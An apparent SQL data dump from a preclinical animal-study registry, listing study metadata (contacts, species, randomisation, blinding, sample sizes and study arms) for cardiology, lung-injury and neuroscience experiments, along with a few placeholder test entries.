	(5014,94,'species','\"pigs\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5015,94,'strain','\"Not applicable\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5016,94,'sex','\"female\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5017,94,'experimental_design','\"Chronic ischemia\\/reperfusion model (90 minutes LAD occlusion, cell injection after 4 weeks)\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5018,94,'sum_of_animals','\"14\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5019,94,'randomisation','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5020,94,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5021,94,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5022,94,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5023,94,'yes_blinded_intervention_how_details','\"One investigator needs to prepare and handle the cells (and gel) during the experiment and is therefore not blinded, all other investigators are blinded\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5024,94,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5025,94,'placebo_controlled','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5026,94,'sample_size_calculation','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5027,94,'study_arms','[{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"Cells alone\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"Cells in gel\"}]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5028,94,'application_number','\"1015119-1\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5029,95,'title','\"Fake title\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5030,95,'contact_name','\"Mira\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5031,95,'contact_role','\"executer\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5032,95,'contact_email','\"m.vandernaald@umcutrecht.nl\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5033,95,'financial_support','[\"industry\"]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5034,95,'start_date','\"2017-09-11\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5035,95,'end_date','\"2017-09-03\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5036,95,'study_status','\"not_started\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5037,95,'research_field','\"Cardio\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5038,95,'hypothesis','\"Diabetes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5039,95,'intervention_type','\"retention\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5040,95,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5041,95,'primary_readout_parameter','\"Feasibility\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5042,95,'species','\"cats\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5043,95,'sex','\"male\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5044,95,'experimental_design','\"cats\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5045,95,'sum_of_animals','\"three\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5046,95,'randomisation','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5047,95,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5048,95,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5049,95,'placebo_controlled','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5050,95,'sample_size_calculation','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5051,95,'study_arms','[{\"type\":\"sham\",\"number\":\"1\",\"intervention\":\"test\"}]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5052,96,'title','\"Fake title\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5053,96,'contact_name','\"Mira\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5054,96,'contact_role','\"executer\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5055,96,'contact_email','\"m.vandernaald@umcutrecht.nl\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5056,96,'financial_support','[\"industry\"]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5057,96,'start_date','\"2017-09-11\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5058,96,'end_date','\"2017-09-03\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5059,96,'study_status','\"not_started\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5060,96,'research_field','\"Cardio\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5061,96,'hypothesis','\"Just checking\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5062,96,'intervention_type','\"retention\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5063,96,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5064,96,'primary_readout_parameter','\"Feasibility\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5065,96,'species','\"cats\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5066,96,'sex','\"male\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5067,96,'experimental_design','\"cats\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5068,96,'sum_of_animals','\"three\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5069,96,'randomisation','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5070,96,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5071,96,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5072,96,'placebo_controlled','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5073,96,'sample_size_calculation','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5074,96,'study_arms','[{\"type\":\"sham\",\"number\":\"1\",\"intervention\":\"test\"}]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5075,96,'study_centre','[{\"name\":\"UMC\",\"city\":\"Utrecht\",\"country\":\"AF\"}]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5076,97,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5077,97,'randomisation','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5078,97,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5079,97,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5080,97,'title','\"Resuscitation study\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5081,97,'contact_name','\"Mira\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5082,97,'contact_role','\"executer\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5083,97,'contact_email','\"m.vandernaald@umcutrecht.nl\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5084,97,'study_centre','[{\"name\":\"Mira\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5085,97,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5086,97,'start_date','\"2017-09-11\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5087,97,'end_date','\"2017-09-20\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5088,97,'study_status','\"active\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5089,97,'research_field','\"Cardiology\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5090,97,'hypothesis','\"What is the optimal resuscitation model for a porcine infarction model\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5091,97,'intervention_type','\"model_optimalisation\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5092,97,'primary_readout_parameter','\"Efficacy: Mortality\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5093,97,'secondary_readout_parameter','\"Lab values, blood gas, etc.\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5094,97,'species','\"pigs\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5095,97,'sex','\"female\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5096,97,'experimental_design','\"LAD infarction 90 - 150 minutes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5097,97,'sum_of_animals','\"60\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5098,97,'investigators_blinded_intervention','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5099,97,'yes_blinded_intervention_partially_details','\"No\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5100,97,'placebo_controlled','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5101,97,'sample_size_calculation','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5102,97,'study_arms','[{\"type\":\"intervention\",\"number\":\"50\",\"intervention\":\"\"},{\"type\":\"intervention\",\"number\":\"50\",\"intervention\":\"\"}]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5103,98,'title','\"PreMATIC  Pilot: Preclinical Multicenter ALI Trials in Canada \\u2013 A Pilot Study\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5104,98,'contact_name','\"Manoj Lalu\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5105,98,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5106,98,'contact_email','\"manojlalu@gmail.com\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5107,98,'study_centre','[{\"name\":\"Lalu\\/Stewart Lab\",\"city\":\"Ottawa\",\"country\":\"CA\"},{\"name\":\"Thebaud Lab\",\"city\":\"Ottawa\",\"country\":\"CA\"},{\"name\":\"Kristof Lab\",\"city\":\"Montreal\",\"country\":\"CA\"},{\"name\":\"Zhang Lab\",\"city\":\"Toronto\",\"country\":\"CA\"}]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5108,98,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5109,98,'other_financial_support','\"This pilot is self-funded by academic laboratories. Fisher Biotech has provided discounts on materials used in experiments. Charles-River has provided 20 of the 40 mice for free.\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5110,98,'start_date','\"2017-08-29\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5111,98,'end_date','\"2017-08-30\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5112,98,'study_status','\"active\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5113,98,'research_field','\"Critical care medicine\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5114,98,'hypothesis','\"None\"','2022-03-31 13:23:40','2022-03-31 13:23:41'),
	(5115,98,'intervention_type','\"model_optimalisation\"','2022-03-31 13:23:40','2022-03-31 13:23:41'),
	(5116,98,'other_intervention_type','\"LPS intratracheal instillation\"','2022-03-31 13:23:40','2022-03-31 13:23:41'),
	(5117,98,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5118,98,'primary_readout_parameter','\"Feasibility: Feasibility of multicenter preclinical ALI study.\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5119,98,'secondary_readout_parameter','\"Cell count, cell differential, and cytokine levels.\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5120,98,'species','\"mouse\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5121,98,'strain','\"C57BL\\/6\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5122,98,'sex','\"male\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5123,98,'experimental_design','\"Surgical intratracheal instillation of LPS (lipopolysaccharide) as a model for acute lung injury.\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5124,98,'sum_of_animals','\"40 total mice (10 mice per center with 6 receiving LPS (Lipopolysaccharide) and 4 receiving PBS (phosphate buffered saline).\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5125,98,'sample_size_calculation','\"no\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5126,98,'sample_size_calculation_details','\"As this is  pilot feasibility study, a convenience sample size was chosen (n=10\\/site).\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5127,98,'randomisation','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5128,98,'randomisation_method_used','\"other\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5129,98,'other_randomisation_method','\"The allocation schedule was generated by an independent statistician. After specifying a seed value, a random number generator in SAS version 9.3 was used to generate random numbers; the procedure plan was then used to determine the allocation schedule by specifying four blocks, each block consisting of four mice allocated to PBS and six to LPS.\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5130,98,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5131,98,'study_arms','[{\"type\":\"control\",\"number\":\"16\",\"intervention\":\"Control mice consisting of PBS intratracheal instillation \"},{\"type\":\"intervention\",\"number\":\"24\",\"intervention\":\"ALI mice from LPS intratracheal instillation \"}]','2022-03-31 13:23:40','2022-03-31 13:23:41'),
	(5132,98,'placebo_controlled','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5133,98,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5134,98,'yes_blinded_intervention_how_details','\"Investigators are blinded to the allocation of animals\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5135,98,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5136,98,'investigators_blinded_assessment','\"outcome_assessors_are_blinded_to_the_allocation_of_animals\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5137,98,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:40','2022-03-31 13:23:40'),
	(5138,103,'title','\"Does Bifidobacterium infantis 35624 improve depressive-like outcomes on the cognitive affective bias paradigm in the Flinders Sensitive Line rats? \"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5139,103,'contact_name','\"Alexandra Bannach-Brown\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5140,103,'contact_role','\"primary researcher on project (phd student)\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5141,103,'contact_email','\"a.bannach.brown@clin.au.dk\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5142,103,'study_centre','[{\"name\":\"Translational Neuropsychiatry Unit, Aarhus University\",\"city\":\"Aarhus\",\"country\":\"DK\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5143,103,'financial_support','[\"grants\"]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5144,103,'start_date','\"2017-12-04\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5145,103,'end_date','\"2018-02-28\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5146,103,'study_status','\"not_started\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5147,103,'research_field','\"Neuroscience, Psychiatry\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5148,103,'hypothesis','\"Does Bifidobacterium infantis 35624 improve depressive-like outcomes on the cognitive affective bias paradigm in the Flinders Sensitive Line rats? \"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5149,103,'intervention_type','\"compound\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5150,103,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5151,103,'primary_readout_parameter','\"Efficacy\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5152,103,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5153,103,'species','\"rat\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5154,103,'strain','\"Flinders Sensitive Line, bred based on a Sprague-Dawley line\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5155,103,'sex','\"both\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5156,103,'experimental_design','\"Flinders Sensitive Line\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5157,103,'sample_size_calculation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5158,103,'sample_size_calculation_details','\"alpha  = 0.05, two tailed hypothesis, powered to a 80%, expected effect size of d = 0.3, estimated variance in the population SD = 0.7. Therefore n = 2(1.96 + 0.8416)^2 x (0.72)^2 \\/\\/ (0.30)^2\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5159,103,'sum_of_animals','\"118\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5160,103,'study_arms','[{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Control\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Bifidobacterium infantis 35624\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"Bifidobacterium infantis 35624\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"Control\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"Bifidobacterium infantis 35624\"},{\"type\":\"other\",\"number\":\"12\",\"intervention\":\"Control\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Control\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Bifidobacterium infantis 35624\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Control\"},{\"type\":\"sham\",\"number\":\"12\",\"intervention\":\"Bifidobacterium infantis 35624\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5161,103,'randomisation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5162,103,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5163,103,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5164,103,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5165,103,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5166,103,'placebo_controlled','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5167,103,'original_animal_ethics_committee_application','\"https:\\\\\\\\test-link.ethicscommittee.com\\/approved.experiment\\/yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5168,103,'application_number','\"test number here 123456789\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5169,103,'short_title','\"CABBI35624FSL\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5170,104,'title','\"Administration of mesenchymal stem cells via retrograde coronary sinus infusion and intracoronairy infusion to determine retention of mesenchymal stem cells in the heart\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5171,104,'contact_name','\"Wouter Gathier\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5172,104,'contact_role','\"Executive researcher\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5173,104,'contact_email','\"wouter_gathier@hotmail.com\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5174,104,'study_centre','[{\"name\":\"UMC Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5175,104,'financial_support','[\"grants\"]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5176,104,'start_date','\"2016-11-01\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5177,104,'end_date','\"2017-05-30\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5178,104,'study_status','\"completed_but_not_published\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5179,104,'research_field','\"Cardiology\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5180,104,'hypothesis','\"Retrograde coronary sinus infusion is a good alternative to intracoronary infusion for cell administration to the heart in subjects with ischemic heart failure\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5181,104,'intervention_type','\"retention\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5182,104,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5183,104,'primary_readout_parameter','\"Efficacy: Efficacy based on cardiac cell retention 4 hours after cell administration\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5184,104,'secondary_readout_parameter','\"Safety\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5185,104,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5186,104,'no_exclusive_animal_use_details','\"Animals are exclusively used for this research question\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5187,104,'species','\"pig\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5188,104,'strain','\"Dutch Landrace pigs\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5189,104,'sex','\"female\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5190,104,'experimental_design','\"Myocardial infarction in pigs followed by mesenchymal stem cell administration 4 weeks later using retrograde coronary sinus infusion and intracoronary infusion\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5191,104,'sample_size_calculation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5192,104,'sample_size_calculation_details','\"A total number of 12 animals was allocated to receive MSCs via either RCVI (n=6) or IC (n=6) infusion during this experiment. The sample size was calculated for an \\u03b1 of 0.05, power of 80%, maximum standard deviation of 4%, and an expected maximum absolute difference in cell retention of 7.5%. Because 4 animals died during MI induction, a total of 16 animals had to be used to include 12 animals in the analysis.\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5193,104,'sum_of_animals','\"See 21. sample size calculation\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5194,104,'study_arms','[{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Retrograde coronary sinus infusion\"},{\"type\":\"intervention\",\"number\":\"6\",\"intervention\":\"Intracoronary infusion\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5195,104,'randomisation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5196,104,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5197,104,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5198,104,'investigators_blinded_intervention','\"yes_partially\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5199,104,'yes_blinded_intervention_how_details','\"Only the investigators involved in analyzing the raw data are blinded. The investigators involved in administering the cells can not be blinded.\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5200,104,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5201,104,'placebo_controlled','\"no\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5202,104,'application_number','\"Ethics committee number = 105119-2 (IVD the Netherlands), under umbrella application AVD115002015257 (CCD the Netherlands)\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5203,105,'title','\"Increasing cardiac retention by using a hydrogel\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5204,105,'contact_name','\"Mira van der Naald\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5205,105,'contact_role','\"Executive researcher\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5206,105,'contact_email','\"M.vandernaald@umcutrecht.nl\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5207,105,'study_centre','[{\"name\":\"University Medical Center Utrecht \",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5208,105,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5209,105,'start_date','\"2017-07-25\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5210,105,'study_status','\"study_interrupted\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5211,105,'research_field','\"Cardiology\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5212,105,'intervention_type','\"retention\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5213,105,'hypothesis','\"The use of a hydrogel will increase the cardiac retention of intramyocardial injected cells.\"','2022-03-31 13:23:41','2022-03-31 13:24:04'),
	(5214,105,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5215,105,'primary_readout_parameter','\"Efficacy: Cardiac retention defined by percentage of total radioactive signal (counts) from the heart divided by total body count with scintigraphy.\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5216,105,'exclusive_animal_use','\"no\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5217,105,'no_exclusive_animal_use_details','\"Animals are primary used for this study, but during infarct induction, animals are also used for a resuscitation study to optimize the model.\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5218,105,'secondary_readout_parameter','\"Safety\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5219,105,'species','\"pig\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5220,105,'strain','\"Topigs\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5221,105,'sex','\"female\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5222,105,'experimental_design','\"Ischemia\\/reperfusion model (90 minutes LAD occlusion, percutaneous), 4 weeks follow-up\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5223,105,'sample_size_calculation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5224,105,'sum_of_animals','\"14\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5225,105,'study_arms','[{\"type\":\"control\",\"number\":\"7\",\"intervention\":\"cells\"},{\"type\":\"intervention\",\"number\":\"7\",\"intervention\":\"cells in hydrogel\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5226,105,'randomisation','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5227,105,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5228,105,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5229,105,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5230,105,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5231,105,'placebo_controlled','\"no\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5232,105,'end_date','\"2018-01-16\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5233,105,'sample_size_calculation_details','\"\\u03b1 = 0,05, \\u03b2 = 0,20, \\u03c3 = 3, expected difference: 6, expected number of drop-outs: 20%\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5234,105,'application_number','\"AVD115002015257, 105119-1\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5235,107,'title','\"Noga vs. CB2\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5236,107,'short_title','\"Noga vs. CB2\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5237,107,'contact_name','\"Ren\\u00e9 van ES\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5238,107,'contact_role','\"executive researcher\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5239,107,'contact_email','\"r.vanes-2@umcutrecht.nl\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5240,107,'study_centre','[{\"name\":\"UMCU\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5241,107,'financial_support','[\"investigator_driven\"]','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5242,107,'start_date','\"2015-06-01\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5243,107,'end_date','\"2016-02-01\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5244,107,'study_status','\"completed_and_published\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5245,107,'research_field','\"cardiology\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5246,107,'hypothesis','\"CB2 &gt;= Noga\"','2022-03-31 13:23:41','2022-03-31 13:23:56'),
	(5247,107,'intervention_type','\"other\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
	(5248,107,'other_intervention_type','\"delivery method\"','2022-03-31 13:23:41','2022-03-31 13:23:41'),
